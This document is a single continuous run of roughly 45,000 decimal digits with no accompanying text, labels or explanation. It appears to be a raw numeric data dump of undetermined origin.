901083029957112536959312491824704289359353240663144268790670545066493108999818308791298853847737951102421863176877052707046925978143671856008810839176513040058186704613644144412898539370552301160468966454273498029375703741253664666318479151825928110793841051634134031952804090016679754546550448836481123632138887491906615369887243078469726467911223497795311676902435819093856187737501969329888407723294766075498418980650784329303613414584896321004851068962710779561517236140331757197942816789606842892609706972581987976605934682780378201076793569557183125016067193189369347952619172307123286729399868978612538295130630504039410320422905201347035378598665196740173491830057227102713034318214613958025902705746324526667504988749182399279255924557899783178412075001870933730977426172446983120655805421375647010184136672401764394447121306826994652645966562660758213574052101872198755352592198475790844729746221338941574400170596585653709970252795684328323149771229979126547540893236174801756060994384524173318710340509979260344687953704443244500535238899212488481563508251419163042719858148727210717789354932111010139270837908757403373691481706093242467208584993650813550496629527819269194224667235112969457851428854190084302235082956115225202562998754022793920785878706752002467811283413498864652157643530329088141971460335339594174273099633378610191120982455847365338177088875334349407199294175041717676173325147485483300899333047193359725579970060087869962276325281650611654894838422055732056148228201499190278470482872406334192882984647765084105238086665546294419210800431436523742415456576864385804618270835746810755336274150542657691930960299468007053672188978782866933260266133941687636922925590963818406155511726550161458906305115123989295539895608685367658190267147477155293149432378679682162717213441990890241267785048015203395787468795951768867085435545084003465372151730830182009094851484531497716176961058342250487507129072279920946042481925371093489108936712868995500775881712480077107622146026105594298932298612218612185577108566619893716271452033548394657398246097374771761368946210408989318346535408477413913918459791067785840909525665770707250659047882243870202606729535639316835883255726305348873051247971103266887149108407983876766370293114979139524999836736373206733540957010612066066286434228859096331447130729097216411062628339751338968942540849518215878859347451574763897725552528310881080703845228423964802252289991143866637487190331292024950000801014531024846845956510141417714854376851251653937681310712601072883358247608663289884219981498329153454284609381094649734599516728422504939561131686678909141107011852842300686347844615146583921605502667301077922350255751163807135513999153708530162626558073204588927969957150011817716578613206104533938760517137275451500057873003688043487403069578001400523615364536778648869671950079293773295431366919873425031192128308160440076821759597584739365662595383368476624280427810413562822350664764504506397820398195957432474299293065196902966587687097056676687106198272979394265833823493585611167678189982788004993273204457385954576452484814788096615779907178539875577197729920473288798641204407320918234036050714396119977719224372312405995358096162506299135434553728598784825992238529002062071740024487922285204987800728893751289253147493739926340675241889259100483727669602576136311798922788107298434585291762846313065732460313801203777752987956574555265103936189722316111575781073704619637956175868491875108341502628702234093222869889822470137113086679595995523886516635432654705929907289905822100916857944253067066157143571766486825202956765473275790682618465842862654338410165874745024266973933084814777960172353781520615169958204247073479372142757146278983263912774356589741300759481972489298082451972447152668830747031329288734176701519533988380186540570982491942266786474177219572505588365605267368296240910580058220503876192823978293305799669270391959703796612683900162775795792235597278813828366384607876279010599705496554812260179791442788587973145613005406758394208419103950426352821200406717468048030184183165770273739180938898852164475081751285405134298100629510056867573486711285203543865758513813121169156691332382795376862992421606124328627147673464566799361539448666110124264910620427679241436278817586454747804401125505019455564795063506305277494082467902041767136092923527169879063240888581078711982926827315709261834268900425743294495727797719442786916670974631400718048693512045457983508933243032451236459663612509957809252514043130749942871582730431462109908516188451797490515661365169902775443250283894210997710631665836882393921119079601705051206028436143039174772371920993979638414656658042410463463375311623708265735666516939255466503179048894869817788228087717085816947748731708944927892291153476867205929242326382135167082163179334875762438676320660688818929308499237263172650981590429086650601758804856020567139503583137609868829758765992772441747838154150428960770344762673231912219025062904434537062195964276913336203602448377823146598725344567551856343325546448365710330831746235192843365419537499593751198083176620971419504717452266910291245720522570849729707015340108854200595516054357729243995866305163758510912151073510295538130040374608199380365377154627014430901048300585687817295812212266649337121167692199916639796253229146511653149524492818272547609709899732949341992671049861605179056800093244478048992202597952628638584022782859475264793066482883875412804192484704887962200208467015676204062374981478077358980971413343328421414220146316656357569565838284322512083388277512477277859755398573669507275027358198276109418613698150128889198129819589140612238302992959821655747326112970772041203518454337026925581654821063075695476545543631769077135315356121416871451186452599890111623367813369263588636480696601945577603741199938209231182932543521934658625607051661950550780573059148296848798833427197666299764670402519676183674286383852452795191879281237073360914786892746043881545466137142516118333363154311775306973428343777137563411280268939948034241353413904116566827275250644205445303648348990271224714063227551108465663651111069891081103881654840356245463086145648104777783133006930455613990847055117145267257489253773681372375778268053008909262313838790255881979055254865814857142231866131694223705397420605606282587142680887021085288912744925659263685122904377711926516044761645699150779615093479545277787474370224330506218823241230337556407077291192412139078157781051867302168379803950065644323570358084724718799100818995233790576656254431204041076380113075064875651678426709082811868243574417200575244765799062145811316257568206797041482278650792954166868798820860072463403154696251877353173153013737940174214600241420006447398200940982756148290576320420834006604139835375637699866269392277743529419767398904816792104550159584227281905517699562156532579905720916848836753287182330133094569215095324183141592457260905023695552155013408833484769365166912866999176506574043168000760665963981971008835636669503017360669526983550090372800938348624666305991129733790212805518664052618087743344164844046554342323474014070806897582464187516249159944772168693440002133918944301213112247458062815599298757222652575378540705645825343393837923277100790136399953704467699815313767420837003885496004255775507592452192478637235403397919200669025406841273741066569263262740080241381177445974111073533005903686564615916473375057877732444196321933976558600758702809115770872550377955323935602283982347119880528793601003041741143020928999596075440840783944262166747499603987701226601305866978496872843738098618762064081995011331225688975962788213491544144515417580825364505147907324387203284877544296889843704733576051093967349872240800190986001038759227890941100788963461746385270644773430992716601244685456051654420250122797065953675792653466441814784129591284703725313348913835674470759144292197985707981365155112318838890571001934277406352997327327113966366669363632318547437413319639486688170831746309986917496895192153515454707719422505373131048309742785244548001804125907625302531150357241204568370229796564663152811747368401410892973138744003890328768962100746542627758673323957466724946020764728056939616296952010499492582860340421706546474637371079866966494505830861726404130856326511098492138974773607980944378769869869564140281597188366590098764431523938110529696634691135741257521352137886216512154900415798479204920088885853400591325920336595761434058677007143691329959598638605390769480143381649357525999853228958932690589271688420337676367943340728118923927016002364717066214634275766286953768542305976404678610552687695756486509809983227546908935633489912438537794182792900627024970018092963236580494452587240817424826146421690312613622262178222247557562071410757254364402302629009355101649993963226007814691948545436425437949410407679358483419156111320934636512927217874559833734885547855427751839377097366010349270802590211592803067091613497991430588442447216798077708833101842711843577600226507226486667272107893568003011649836144095859293570091546509467849523283754092379137927954122208214657460913641400993949175572870876080581400787287180006117161791480601862597081248069071636591485753465685847751545365642154222172491256250492025960402508431164098673905253027137124008842074636746737667582526968465472373436120663967262716729137173384769713297472146366744513933924973206656962512619578304923341012477524832791811099300392420020051569872236975333345701615667545913957777169653832624964632723440402001750468151618759736376722896777039902092609094214214045158043968901358464618193168581065713654498480992288264212961987924673853453961717778132203254473799987829822207012619841752780503157782671095685685227565857828280691981021178994661025287531510900724154960857783679567626110204605233778709868995695947155135008376976732549372958901183951890183462579447693807836711186842949336947273078684705261357006478179635498441245996996863026461384491434757389106074808524386547519545368941384805660644020937415962084358790336627760389371605790048319409589601808418727069683120724038407086050658764602469039990421608874640964021226816837952835263852791380436946941431002029862550596149274977514660915323823879456665778465084705985453248344381025911570533726386085296626935259963104173219611055716824102299385015007086186444355834586614768893355894198143472129359223093449725961460407261327957621300768235150272248386008618923242654291567337979509549020956954970315499647522784910283718833096956846100100981364351742240885235280420548317357698470609681562763621754312651483001984035361361967504463000422955158409245126362309844488894520529870533160240360189246774020534138296331713162752551182972088365403353450317110597464635109605074140400580301172399560418759820354926749365010696305712650517191543496264627486712090537601448778516950476737151604816439217901918589274605459055079703286765092261772883017046475094039984234793672762327814325551673183471818231627095227419116959725566911304044589943131228307011781854827828929222963046964297436177981670477645210617273275051745726265207421571430787171237370252052565854543723140726497979818455195663592980612777962975696846575266158910811934568045874101549550429557061773023797009029012430226149961808822856829546495306421412613439005051540164439076412084873812653703986406215017526614816933066593480053070026988265437270407141881851053304713922037126347706988050715488893948801820690476672371493202337826225254148715260492018235422664446655042854596617158894356932566109629681354644767831615723484460856367630220382213471246484398852328077656702861273682780729260594303447185265220248110739210985076147335107564352993269161174989738417601932982816324392843020091376836231468674402845890595196397878007662650071101302012336322003353950723419077915694752094577479013847992959369603785555945763359323620103482989344389519112575137003969577740021663150167221157194816522523119764020235203914285519449362875893619105500085636145132618502618609529865280400698492057712172949809061641579352640993548620083098859672257012304022373248868160043669602665882291376755221212152176569133864034013214474551574352791627567938193044495192874896194228761695110779672300639541462274613646569003079947795764435454038183792921135639432150925495698069627583396345371532477820622811555266683959014012521057471311678848958560922015798840562864780866290197311310742249939808423875009830992335771485039381198607120990919516646460570112382075085449605021931821372043918128782613202903668866267389029344585203309546489736473569358997477207872742948016543590995569249193144601883543875470523931125184139823423026237346199991178281589727300008338165839946426506451472239628773810616858122991445355077094174189762982967175932786576134054033012177840835125246307390664001310341767302006353968670703338910118802678979548069093024415790964131084255056390073808294506882839091162646030717221221505286784355184672610598571890280141145913395782173699228570463822703923561528148509016239806169547365149417340577275125283393747397254993230277663089046342627848265481131504008539371980119623485085457156783782331935113576191335221624801761010241942801484866315826508062429748452636665861707444229070630886044641395562246015180522166940154943697149574961867302914869914762423265554381517913726902428426350442149479418423480037202954762047764653904555572519072198032411124581176129772725106508628555864852258748533061022435717724706041676586165401334827269325107960411156138697954758488506410085563844959177712884010141750470111107700256748249622557283390995143975362625516602491330245657941607553702001035035763994958985283847052473232762817385224596353802385274538644677795623276376721909700486910721543380913651874794996655821254862617743641922772131822751306763382110943810289913488353011489584712712403436969504802252779150260222610333784977392939585763330934038432635182319324279234030195395516744014740970829137132805167791883054951337068085855126096748736596845890402573047477599655416427121252002624375890388489634251251850030101600188876707206973769567593856047692090561022392569708471729068746118308587673508477158953430780905064439191996013918261048661051544814061898548789935049951231212794699177712168178542038027684013040601929177328686177204450734307129343341449051240250336513191276954158449258003272115960903455803529771426871641438619479789613859247141412914563259730432174092664021669992634200630626117334627675709884650634706312292952075120601837924486458604050422000673108378749712810440804220222680503606468474354586257748582196987436036585880088928591443114746933221704909146233038230219721545848006277272848962106512541069797892930068499076186179801775265097505983964273734666477816840970860834732274214794262205401487265117405177519723481963628779176917351320927417356760521973391614200675384897996588884710232312872931092626836160909564104285424100874476019539015220160620912685735683477503272578161860172789867258435093444234473703710223266176992117890537194210411301288608330326383559881001010128256278228119339450656676646351272027338526403365399509318279793151082316177495639921219063820723958276673874138354462741869042643624324655334354133460734649228073059291702630185815609461173814286871043429373130601421056245390125895482646640320241546572660274079064753217987934562719769251035222550264168688611647855023834562794769541060922657385787958224825917742560219875475349675042079038709265822892473114929735180487776725078569437697108054404408527545423315857883873239824638232806609060591756750097141217347333907576985615363682762581450681242121419684861309249074748410484310120299995479952039004710712334879763339699549040479078850525060716856895522258192144493194785367502535309879236553482267965566319837563691489756513683056053657541707875640677018752450274758728601374549737016758138047897203594867702064566461279529068153702781538992632250677429753738258795061979336186498296268365073439233555560254542531576592952511098325478156172327111836780945701844182423964630510414532078828340278406895730606827812068338538297233893311531001675116485784603630535826668423584856155636640240247296227777949608825070272109083661438339820589474029601925094922833314840082127934000436382774594846458948342207834281216749441617273688535686333124912714511171864384184709397238289084157719255993006955981158565847156719250837166501685222901581480444961928338969687777667665855545260990061088067438861162391066929677076012195332920017081869992315971860264525367156545622366182187027406600425899074281392009093362459325018401600784563595248113955142788692400602987098481831984162577866897902013220052405897774785313035178016104423447647666071460471429971472601694318875013013929768480802009579560911092730686558484937208702981490472766987987508150932024175160600273170629525062978342203891752161756456407823082879391527614597902840075078316893967335138938813919423661745412198978872937357499120737582907258329795745081692437438256675770096616984101006360948589262263739830665676030880560717801782851112420437943092012572676877785526864996932709305256986242293398122357684484633102778561171835751433824299103609847709739398720759666114849910309756306185093977737119887236740707507153444644114704191750419246763366979139292861918582051596553560994332207160553138631324226662838271653406133109385536986308992507212563033094302389600768197551886916429028176171782905059208628581945669561011471619515245104381003196771600884347635528279003462887818755448952549859649552423255229589246848948585735747959365961905696548237743538709081594255525491528247516547440250490700267781763149818511696656999490018954200192228743224917302924252129964875514139823684382432836760018964885312570703522216602585665883495823440997525155649074549092537201668820415094373562783772733480313227530982014660727456037207478382001601717698199851781464623891804202132945942462316398669013565327153195980889164512206751233599910865211229833425254615092612823892787682003083037691871845158385388036915115125919741897854093258807040938414095407410896255238145638798899435212556945899585419522468536671856822568330468656201343359436820094701962416445577334255235238700599748428238843412709579846270949623176274466632876593211629312470332090764816116736607132391154198054319423561581148676762128132753745721746104300305717717251251423041183570681781645620469523571788147567387598138040977186925070188947327086694169170934139984951483131195294348304011906643068691739273319223418785182703626035382235105632108590954071055466995795126621495514561992854723808150145811402247988474363746546134516011939592084996525892955104386247393846667221530081686885618921603943216916143342910497234669113810991580423893825271839518338761501925282700709427729703237285386177630065634390692188775946177953009832650779153250201914288157953175760912325340287087044352703119184122106267722856298421861119759096304050422020533106532106617007137064043830953352131604299441315582452523776970950582657801953438968147543520538912415758017870502577345320911309741456279215525367913153205605166921319115002906271022575717192402477179059698794595048438979730688932663417870795968752911203408926429368120533904915708327081218392842204245394991482284905357710805604451457605799664843991938921354476319980400501099971413626797781151962581644551619935444765354089312532198700412221042675349007891080924353433213393311096024390783724353029445812183262530097678198410897912957628907927463248840671622808286081811109148146631525194444701515784645922501871070446031945126258102153561626702978412499248007597022970254358574266604949343863975453391719339698974664447168241808731680526450320234686460768150821354400959146107540640248382414241811489188271309424663499365554438292528827739634662323316494954585766953382430742888066654623862300932437322510029726596453737781637126438398415206520018952169066443874924336212558141530759903812088092056975278894553308248917114183022037199611919942585460930337493313535128905066884373681443422838224868471216119771749728031726216417738218391292221897420765262940131497682981149334261974925989114640872833227426576771683964436317235077369186986974276052427431076625174287154603956709333660021708646004322968416312018535022600099801790117890829883231259324053293265714358865837018883245234866900105621998239152662218947350090834327728541994348594507086898473083474816778855231377044609679356087110771816039536753420726174788069995979472180147467476452112253061869467186635637672398635221802948526907932291048638259936830115803501096835222007616292080576655816917603048840431575375601965799786620465097628413656685106282380333714319624817174492240416244827457577183286496124239820450349862150657131733415721634758502360894821396484714457480834406945372664187462003068720511379578887081273251922850259532785778230573886605232316256201331499079148079665654588798800617043347250683413831451463772038206766016863215453953555526555616753277144252215238461668722288034273546614919024545700007365629166866596899827702826863204921199110974937409958779026719320331970281250340954513035893755882278943103879997090301040651997172132648329195467158000309527602909491944651132251925947401666132949574438331262479424776956830454069305259525076863746002066984443931903999225463786677067638594805052464993754879565193690802706526898957928576687501477293979146320612700739630653104566706030763314481884621011222927088084584577581506583497326354682004838734798084867404170639889193575107542057609117433690943324707740759463661660516909323817606809285346187016030799405302676339901312846939071154287127257327583342202654960272112706904708022274193418321114933230653670855171690750115207454001610269904025747423032121444111843480003587401369599919565578667428152454068381895335769768901083155195347338767576815657481252029192030162630822821943874139298376225075639517784837451402580966167994418514031139026935643493235453720624248850549653761431777015087401333296417385636740064563144540106436084128996663907818643533953516750807288877647474303366673210497832851563130944369299144905278078040188832620684784028790986994868693607272691562409527675552021633429346801133040970720264411311263208474762828404855404715598566065752467420452041697585346283891559845808026347050186294700407530893630032433220449749481014837007914280477564526133424971651429415445618912381374470122413044825972433232005276536577114714885049071026610170956336197982422926015889181231348699233368915587896110432862778928782981325329630202541230040392807437649541252334384823309458239778232174829830576568633439497523131066162535820474178759569273743946649789277782019604939083346774592771611994887036215410922499359368328275967335890142296561318821440160939276794571913637751448192028529769525561415260505420455834395801475989341055111544167026100104360946016113845156191993427065491877686443198901065477374689153701390428654421731654824881593514391888328755136439162222379194646325020854312089674029261514679493980746884400695492958757711496803101319487599781268089378035518561016976706602008110908817616233079825116971432300753118870992225575196246342328392095769579763763449172573583751433345485033027940085208583885624434765028523884146510126522476136020260579542891696414009811702540313604660010778561262165671933022096704881057117769095415002396928043773291273384940452528821956845156615937688905505803424860464466709704617782935770220939686056577723800285649530246473823840516536508988822321436590440603039272346527773282329461718476029816178140100902020511594094599043693593395439787510506482995523107300125998236851694734863831278649738361321691840636166276966229982658180237237109558399233356427941783504126567869950696096617836649779132911335602326105536227639112594404337385310160708174556912542260524401341720541584043001399394870802643711566210114434053406170596534782932776904846781177933287246299738151640794685299957167813879586536909467243799414452502839395914806802934956625151062138853853578277561714130087509950718997049544785900116750664603611483781792528381905931581082610242303579068295783574269792834271912003579834235888736131329785735764470525436636688548243446616184826321908973333264370785123895996995702216025977464286202988907307279540090174230246935561475561243205530339256481341439281796471178869184086583026649179443725061120424938734876416307454332388676717146299180548331883863086032128765193406534449444639582424519864872507083178519044396482349026616611474750056503826192642888317383915328353693304137438735703018063315449019515320233236212583333785372912930685887063668983183235815631036390621045892382985246792665220075256357138552695958693199369872197587870483607451491257223109916099119198996640435490207764022738389604625331259180679930674010081074044765211635351553886095630570823147370318457233222947179136309693389168809121381738321595836227537298269258368135863613662461722639659513644491903506183933256590634355202212044594367149465331964460597301639435586506260421590641789814307511967109361086319137570481239704158057290245443324214218295628081497312700027750609490390655039416296987079677521516153907135489650541436142786276705408705591129883589415195734548253963467290159231187385440678190880770230825666162060093558530533702826915421958717782936687863358404304194262869746261053608811053303417833173770043738785348061659077026807911592961985225378839795801635339947033821453660221154564051946935675377671723165822583261205702634902009391341796160256228871674544776869031223746340283253143997730579412446237852456351484096859272244371846895335820296537999801946480339336397944330498230017568803651080098261952774558211373017517945425852280780719549547111189281645180949199129922358333167903282443056554089164432556127499780565165845739780481023691309833831673093864910471236238267616269206258807066445150538299524048960866110999012478205408794415157196124044033904129041739999751556407871864077358989545797936143661847926331699548232103191091676432406043750483129295730304595060010635781600103951938315074976393062486386991813572358334427852537607213601454050368627188298489707247499105760233949960055375806437219947283150466706867427938955903448310108372055470367732941819505857396020409619362903422235692984541543660252583448805015966695363453084039337364682501205204250260412932489756858305232467219861895557729580654713327485877575057765185360689722882558556593526111199636253823151292631371519894954518941176383668821603383576447058788111682805991492529184152126482776494235728620228411181351036676589996912512704526699910782900447309110664832004356668045298826838456132222467107944715327039536993244490236419158422836149915561705915192461108100483465689399232329299861938063065594882948064634574299245081067561211635369896047709866457776980220332940831624158655925414470568527864977458889913038974810954926080667188292940681963017224140429734147814868373602878976463677483787017318078401297965077726387747818322450597747936198552767641799670640681634548000788289132170538889768264067219774455433884299382071841181786189856157033811341662763509192584916787230419392649875772180000519902750736362309316916309899454601875698680216428815044483146230777092596665551695478898589916484330294151889268892569939937679922195357873772028642900890138905166200861000232362544198888903191426059749245476400320665628786352567860964056432307333560926662873954386789787168780838859306300026906325658249986893676680310427535341887041884569422185373661978490638302569829176767303398565213785221452885112766041473638084205564359452168420197562440990578003639633035672484384019620146945732488311624988723417698732668473679389524186901311872948410872493661673890284555946498683558915880300694594487923936366272497425671951076533164666640457785400354374091707717699242027000634557054650029034946233283435683708638677415812016808862339091983213108617009999663118317897582516591264053808218507003993353255527642147796103377858348020904724200666408858094180562137152279386020762344464609863900041013779654758050844654399623738969689535878644269201626978978054833894725953943205900866872103732734489083463524797532218564110145466211231728489735691662935891522862358821273589431808484855387996005054823127420080320639061592183849520189135421093883633609685221906430960904807953028446249810920914868767510418681583214393998607638408531349395377446810015578462942647002702798893302677704900157099781954695771686250125886195437340705179036088954687336161851052902755044656281089851230419431184483159099087566671002468326347947261715364441651822645506068105957923168635808893424868421006084348788568067845628834637268449607392683348300388361056220620903643614141703949679948304378799887647918861357367807445827228680882660417721191044665133383969828366885093403501210198073616396822616213166010074500906566212698645853656324887545853368977264626817978955168569262627793667104831697734661906800899568433758665850717845995865837049638399330550230485863065278930018155844217830806034964726980175156702386562633983562826207154265086353003644630326204452111114778447080171931881660267025423326312850372559634414933634353338800633157119941969863311308510415224607921190474151028662963652644940200536885816683139880932298757632517670729891591613786186367163957568425401454271258850229656965370699613243378741802702352824417788707083288974446283389171710654601815728992492477984368137796566100085567192099756581554516036363658135810431766000432712085964003408938347255544150311804602425666856243048103273592672928665386880028669722963811681179223530893223794814521124199208772361701297986689614185580410492649327361489831869663471774998765039873412050643819793271916595517124854045032233777905150154833503207266073408688243381401358285220598993002859848694361966918181714471557435837821572135985522513116571694634448977187390519893450738237867983377930458495045717750467587503502557135980907725620795561889556441962742795075577666478727301980897659185341205846390459735889301014979901650848284130909221906277052542879318234821105657170874275169225970284391034150022579336115610481360910026677023587418661806490145468401658480214394110962593912834571195745766017303190561104292386434084358058092135982793824864655568563344309781611440256967169521294453626674047797933639506313282502037956558262346776400424985833471873280978952432173714604023487307860935891744768867250875431793372799941092360039006348172869790176614423732289238071321137595903635759787567633207952154210174644016117278017427697865612434550807860438130199362738280457703208786768832684881624599364652184772109335253699790535929614001932998404389389563901792437257296496002351162704126500915600059381884035728982769927310741384689434792419761194925157651342445869467774041921015701278334553677841566955995018280659446867966951599082433745843156520746667957441211684045302721065312402075321936452304658413234444855742107998970386246331502284700364548629014791010633000031941686032228046804740528704471605844666838241742481965811121782227681274270911597832761372090350777488689212719115970853355935167069151492027864338813084080295498532984447098480494906762954988447309426566952759931220298624314767544406165988686955772672338307636889002576824791238860184087681631121844053543828147127426699145877606167641743575026246229099702206996959294949422432278800847646646068328507068079522725134493229835628731483923070234879823347416290749251365650035744409864173604748439437498172025733312794029827286697974579597070482750801836186393478736041574354353051202629825454736069701196118932523766411507658177641438688008827812900287778084371657761527139653223509107661612905171480769035411023725620467203958618864252957514388965567065426865811315285509197802606458884424984631093730623394161110603928893671296616936210791142076483644726392500102415994855441579556158143873281887285743423613899690267536913707118074199699362069902638104257059545390088249361204264806978249571821526996216655051457205043627596894660868411511009922169393545432778787542624827767598522018534208629184682867251847790199417543979505782439208700378114324153236739849973732729349143700968247241954056685417845842132020567442625715195516281615826812042234159872839099541715715128389706398680391182961988966342512249820202098703939246388947834399833851730317660679463041126665506837063705577921657675433271417920313577242102417257209976439526228930131889003800808090398974977242501398578349046983233232782577011055063907894608441574062587961214298419136763781852576990479205752271572016238217267595715535361085030661992073085178766973390543765057855218129649270724550132110232688533980571420417718696652492850207685180852282795926163581511137145562058756240622397316063238891798580424426501409124867469443541716479364152148612208511039433310220610724723777951427524087460861027282833699862011896030726600824739724378187594766735810039646077305772746051160535563737514982793665653924140900173483684463152430111972722101393558483176842320444606804173741737180485510805074558522961585329877911372456912937241682852929741323779555597333490470698816950154196661075069166371768293859310054970443370536816296631274541842889440202265617944328052215908678375883056633572848158755536628617441116711574148207163051488677021940041623458223314074920040935083053559406393622911749664785259756035389327125556283850274516113949282660250586007860722621102374933422534946966005264858694489544931628723398625053185621770257392983218555692534760609817126734548268686701688430008612647472235700248371720276431868428954680321545372908723350243685253700776724306428525660859795454531602780490126997007992121963365749798632152078498486513742501527558321167513389661469450001006876227243117360787488893161475382393875045250835564220637915935791157425304396717626794466985170033640244136395577069614890321241189462097972843077722140368422198617074598608452416743953757990052914434070673203676077566472280559947090655855491647146816439856159818380748998559309194815337996087516643889384346918313627281189616325702864559104884162834007358767023593187458229874984037845701442329167210617293971916299271037927874289077345553174261913473863319901614527428363351821836952376053173387504040484517027366386610115123045578804490062658707980395559284263441887370945962363406100881747321158766881091399783442829495872439883870838276035351189559060637628069213040035491620277224169101349150458295825196589694089440816378171944181530898567559365465774822881840954701522765384482630392763735469498723931338072340900525001263243817651314014026174000544850569125961989449749924743076622716239090192081649425006826956763677496281003183433367230552108865532652633399304032871855302837573769229804375331745947921357539773703091508497196203682452049920154374792391228385190902530416374691383438282604846013963097459384374752777488814482174565741040119152095943049035669692229594474881751015421464129248683705276896449897049015971151354508937905714935193440553666862253564225488973443001412955343456779636185766127891053385664050672275894983336602556330261580992801558094181022411271059948665158806302104602825534089937477247060885244297465366627413828243824179380212147928997153537817322320083501630718363626838295021807707123646322276537710229316068771933259409510021429271048391259629161953945874770920331179174286520035692997582414359232873073172027260998022452719681707223370566852023932993442051440142862869704290636391000808080556097780045709069230853054117802023191140231074981421968138360918736886234522796982071839682723950412604582210667090791931991561358836423901200020428851958029107919941117934831688706124058580737768617843458350401535251271601482455230042126658944094146316189713829540080260978495877232230210420969270112113434511542699707972689862962051564161746102120662047791467162244541540492507712604912845062839484081124966026248854558765527886558926552394642246540715059389032621320384925027017973581587417609009184022056777262969231675502675386903272356925075629058421639053830744125562750896699072562882419681167207919373032502332496727129173278759008872684649186268391465506874028927735199063214898207475855591421241606316470715390583586847841548504545692434280992871325078252508453857983207205582357081859992261101355248447293900677067122658957110298108075541679746394050518843574944651176365911639758350642996194688692139707441979449146159806354699812409930977914845225690441985754093766249233349025099683945029108189254545108767971282958929971706944686668059863738985857388129628609731497908620991281928861726068516151348206571866372017754511280531672961453325886459473158587296697275150003195177447650771170328567931874067540895552631584027959049077278986907443585904344106393124950858034552940568390852954772798650257553864977218319949442385252058047510506852059644202975865450736504911825891914142442671234182086173502892133568200202197301173471445535813330354324688696045883479096362054916303237784941361489240897372835537162039818992538669783392287610006876214890133479351782526435281706999733399669642756199272599454368586440466099807948096435152099264205943147954192984360360243731898613762474928097864355855010282659918728597937061851894671292140313120942137242704377363914904256192613636683688559119078275851065733667725756268332348082306257227123214442230422563015800857695374420153976091869818503210302371991135896853424350205946630058717941806314274082955303105205097803681538554659708029898970542739953331960251405328640096807863895098673346211640945642148287996270448195400380913742206745523881852070487710885092025857568630000462319326567271190409948089566642210836060620075325901474863808117546342159227255197880282390522040058171397706243041690871962808134344953859265458713816349901869722432268068361350653167265978899217523831038561234040185564751071084709925455318547636717285820253908981171438904751939209757774190580261986119471179421401237571028065514351556300029574744908976426436170008287047794595798755849215936435805664233211782486586702734734474987033668515662450041941847872222586177775756068167846725831956918860219236033387924273063505200005803256712098751154454670342862679339097413715999486205288182537311629586226521166232903177564804637067069427257955719177816348368925406347186552453773789801607001385030710389751559575331112921751191617438634235450547286737436669591366185870059362474455061191358260106435746440608111826118791316704197152324709072840199771566701238913174851101370201680532046756840045177263063376453928150865307421866428058106699502937345210779946200156558743264128860146500154285173358729549938675962499642363158533340717542909870130825777480315877212347524372878267777431499918245591131633524245128174230527292588840386598679032294346042279880183790834524553313809033826678588600011059614306825160470831539617528264818539741909012545932644122444158491724646207363518256190156018907562912648856381924380989646660937671747322177443428985894108147345473689820986040853937655313409001201743571571174556904178836095390750721795966574844167206416322362047201931504649606056534472798503589607033141028284322516062886417538322348660167199709909886995447116069980085711705165558470264279241667778023808241591257075025430066526782074725850538745889089377953747067700448853707320822663606958380118344005198904979238691013232004535168813469171088872929620204423207680383711551171660104064032090964169085376885360317954046882211773375592349401034610975960123789190604856435782450161233245767122346752444603769947623871988408173763435738227739211369899293768549909513107984850462358878144838607332185117177876368355076468740571754504306771254254169435299264861445500706686620612375253037252414238574580161121554775600129682979406978154305678698631644645243150918843124622781336942161875389119452934582515047634235775996291637342676973445286114522386987366192478204410876293722160112713144440030725090046116620871859677940049260970311441932118480108841928220935075677631537490353652311346172745806619338209960425926504693010182503038000545419620975489655924604329267449558213065603531172632247123464434113307269989381817249813661655644735122846060380940975397830614101194953709399935128930123446524590874928567284484982470233880749240581563452544985359628208556590117332985705835535296353091847532153115721254428523479916280934696977447658546293667231003656448159951771022160032929236376406615736541370035803874561209954239885515655527120805890374304309851011475424345842275068149311352660647470733215391510236902816488818369348716476153660421968568027395500620884966890089449905677423860107925378677201206708948207331822152973990836719867463926030570622640308709315296392006296760276022028199411815648031013869538340143100033429431129531866670415033036137630205621804505306469665649102305153178855235409271364039543945966984061178426608809605013640167686542426847859152378772492344887444529904594959644658640541229340206097499922204479728710866535071591051040466475023595733176611484493888633442581874572449153584015561749334675874404532478149622535040325236510729598134059032483503725540061326924046338676912553035692792068799946416601608299381249294221756389427109451548302397206427075469700693038392625413396630019392742220241632421110418646005288755348940319639968298727341394174656716991574947614817873149253795693274439279973322772768606290898099970901673555497006398992600243591778341127940211321776176201464890813425118323723956540391090830965824623933664847316734662197980181610582179344932977342519998752270887659372074596898660218080369169533042416551355605538802602195393793522327965401654961682917636092720863187716041954203524864426526524472054744273627090120638797501321743694824057429173875425750875646570652564156628288265672820217532128373298529009676072657958226073801908161381349910565167901504359396175873197045673718556332966359852674152778133596257772603441426212307652020966108984664025259433160764909038319853699055205106647494861019746410025980352354917151001715075969324221704396191945637963921959658512051518874221671751384922412524606026768845472179972621104586296857849415745397530209755823287087789554660184487186719678377257651370962292826821391902149931399735194454809725584273844711226654807117501319422875889622062542947090426945803080791462929966270782466084256932022894550543076650261838624919198321822765254957886984047850160411730595426555799393874585199619427918527586305840654479901222403095208406372730713163086845891852226778257207924100932959227768393203755684832035669190863848697607592937852472883733667868137527015647385129828956291658719475199661990739523402002203554006016410125206717671353569053122081126215588460821063928583471271596724457952224347704712819963285401916676742327028037203395263572449038296840893042012983338654618736646316123331880478901055576741326459346748207010845792430694767400131959348138110430159155912481528578009885116775081776657792756766446445886743532038378443581979139812285661246512242351155077000977824755916494022720551836427489594780128681941162955007206132729639586490465798065164851443336016846883679014639433445553083174430350734728387173042392210623989875229158229196312347559190997953086390644552257414712219327545842362963050729713909126453516354241674117436965216458311332170221169880858305789100940377105114348112408880651412222963059169431456596349697220363452343387041416623985989639567719708583074543702117927729910389660114198487699401645049608105688135219222396005768829740856930664718603119975077983507203623201918003322041578113572124052456771653141915875685774496273628580089585099120534695367023887016075737833262268573622988403396458561906708087884690667977799335984599492687515428749583257704615137730630088235161754440582504906388486445037291921343265800555249028514828401280247991263800136103070953379106113369229033962293932464815263132073172452947120557437438532982721667456809955287765469227920932219730412841931015729762844366896948710448807580603419337853115761237113330872304459168201467265505606370933613406554878938776442202966379701685069925266456296076709854829239313561181898361550177538518430030949192894364911718178635065986011424030784612500373570491309105713666832519084067099932292495300317141504848315451171445765761106402756632956204820158301652673654927296642480840971483736502681052192116897451331019246199475080038802224531245759209217251514370580511508975613893087741401541823364538180012981061130186307771360172462597921458063820525013089476717355545755071814277885377950428541453987894163739651175786677601947756094053910492034838290762938793293563009414890957894412010688045998928735794660687833095924971866538305927484277573810506320414991451496836132358572070962458671617499444368207871139144913715424792093251336157011113520926870327553976138757522161077819390217232262860658696839322103275616126075839595106931458966016670306985250780561108447080570322051835783837591201443567459794058449953460507883245703929608806367668467364701573650441973476525849506800523756414145525363422213191030957054854191874579004595929001589868368690088869124927417908280